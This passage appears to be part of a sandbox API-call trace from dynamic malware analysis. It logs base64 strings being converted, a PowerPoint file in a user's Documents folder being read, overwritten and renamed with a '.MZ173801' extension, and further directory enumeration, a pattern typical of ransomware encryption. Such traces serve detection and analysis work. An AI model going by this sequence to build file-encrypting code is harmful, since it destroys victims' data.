lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.910] GetCurrentThreadId () returned 0x9fc [0124.910] GetCurrentThreadId () returned 0x9fc [0124.910] GetCurrentThreadId () returned 0x9fc [0124.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.911] GetCurrentThreadId () returned 0x9fc [0124.911] GetCurrentThreadId () returned 0x9fc [0124.911] GetCurrentThreadId () returned 0x9fc [0124.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\RheIPXfIwRK.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\rheipxfiwrk.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0124.912] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f120*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f120*=0) returned 0x0 [0124.912] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0124.912] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0xf351 [0124.912] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0124.912] ReadFile (in: hFile=0x29c, lpBuffer=0x714510, nNumberOfBytesToRead=0xf351, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f12c*=0xf351, lpOverlapped=0x0) returned 1 [0124.913] CloseHandle (hObject=0x29c) returned 1 [0124.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\RheIPXfIwRK.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\rheipxfiwrk.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0124.916] WriteFile (in: hFile=0x29c, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xf351, lpNumberOfBytesWritten=0x18f138, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f138*=0xf351, lpOverlapped=0x0) returned 1 [0124.919] CloseHandle (hObject=0x29c) returned 1 [0124.919] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\RheIPXfIwRK.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\rheipxfiwrk.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\RheIPXfIwRK.pptx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\rheipxfiwrk.pptx.mz173801")) returned 1 [0124.920] GetCurrentThreadId () returned 0x9fc [0124.920] GetCurrentThreadId () returned 0x9fc [0124.920] GetCurrentThreadId () returned 0x9fc [0124.920] GetCurrentThreadId () returned 0x9fc [0124.920] GetCurrentThreadId () returned 0x9fc [0124.920] GetCurrentThreadId () returned 0x9fc [0124.920] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1e4c20, ftCreationTime.dwHighDateTime=0x1d5def1, ftLastAccessTime.dwLowDateTime=0xb55adae0, ftLastAccessTime.dwHighDateTime=0x1d5d83e, ftLastWriteTime.dwLowDateTime=0xb55adae0, ftLastWriteTime.dwHighDateTime=0x1d5d83e, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="YAtfhQEWa9d9.ods", cAlternateFileName="YATFHQ~1.ODS")) returned 1 [0124.920] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.920] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.920] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1e4c20, ftCreationTime.dwHighDateTime=0x1d5def1, ftLastAccessTime.dwLowDateTime=0xb55adae0, ftLastAccessTime.dwHighDateTime=0x1d5d83e, ftLastWriteTime.dwLowDateTime=0xb55adae0, ftLastWriteTime.dwHighDateTime=0x1d5d83e, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="YAtfhQEWa9d9.ods", cAlternateFileName="YATFHQ~1.ODS")) returned 0 [0124.921] GetLastError () returned 0x12 [0124.921] FindClose (in: hFindFile=0x2fc740 | out: hFindFile=0x2fc740) returned 1 [0124.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\*.*", lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d47a6d0, ftCreationTime.dwHighDateTime=0x1d5e46e, ftLastAccessTime.dwLowDateTime=0x9b4dc320, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b4dc320, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc740 [0124.921] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1dc | out: lpLocalFileTime=0x18f1dc) returned 1 [0124.921] FileTimeToDosDateTime (in: lpFileTime=0x18f1dc, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.921] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d47a6d0, ftCreationTime.dwHighDateTime=0x1d5e46e, ftLastAccessTime.dwLowDateTime=0x9b4dc320, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b4dc320, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.921] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.921] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.921] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf239590, ftCreationTime.dwHighDateTime=0x1d5db4e, ftLastAccessTime.dwLowDateTime=0xa7abcc90, ftLastAccessTime.dwHighDateTime=0x1d5e6b9, ftLastWriteTime.dwLowDateTime=0x9b4b61c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="m2vN4t6vFdvq0RhOel.ppt.MZ173801", cAlternateFileName="M2VN4T~1.MZ1")) returned 1 [0124.921] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.921] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.921] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80b00c10, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0x99d0a9e0, ftLastAccessTime.dwHighDateTime=0x1d5e067, ftLastWriteTime.dwLowDateTime=0x99d0a9e0, ftLastWriteTime.dwHighDateTime=0x1d5e067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="OW5FfS04iwdMwwKKq4E", cAlternateFileName="OW5FFS~1")) returned 1 [0124.921] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.921] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\*.*", lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80b00c10, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0x99d0a9e0, ftLastAccessTime.dwHighDateTime=0x1d5e067, ftLastWriteTime.dwLowDateTime=0x99d0a9e0, ftLastWriteTime.dwHighDateTime=0x1d5e067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc780 [0124.921] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80b00c10, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0x99d0a9e0, ftLastAccessTime.dwHighDateTime=0x1d5e067, ftLastWriteTime.dwLowDateTime=0x99d0a9e0, ftLastWriteTime.dwHighDateTime=0x1d5e067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.921] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc0d860, ftCreationTime.dwHighDateTime=0x1d5e0aa, ftLastAccessTime.dwLowDateTime=0x1fc28040, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x1fc28040, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x4894, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="4 no16yO 0.rtf", cAlternateFileName="4NO16Y~1.RTF")) returned 1 [0124.921] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef10 | out: lpLocalFileTime=0x18ef10) returned 1 [0124.922] FileTimeToDosDateTime (in: lpFileTime=0x18ef10, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.922] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\4 no16yO 0.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\4 no16yo 0.rtf"), fInfoLevelId=0x0, lpFileInformation=0x18eea0 | out: lpFileInformation=0x18eea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc0d860, ftCreationTime.dwHighDateTime=0x1d5e0aa, ftLastAccessTime.dwLowDateTime=0x1fc28040, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x1fc28040, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x4894)) returned 1 [0124.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, 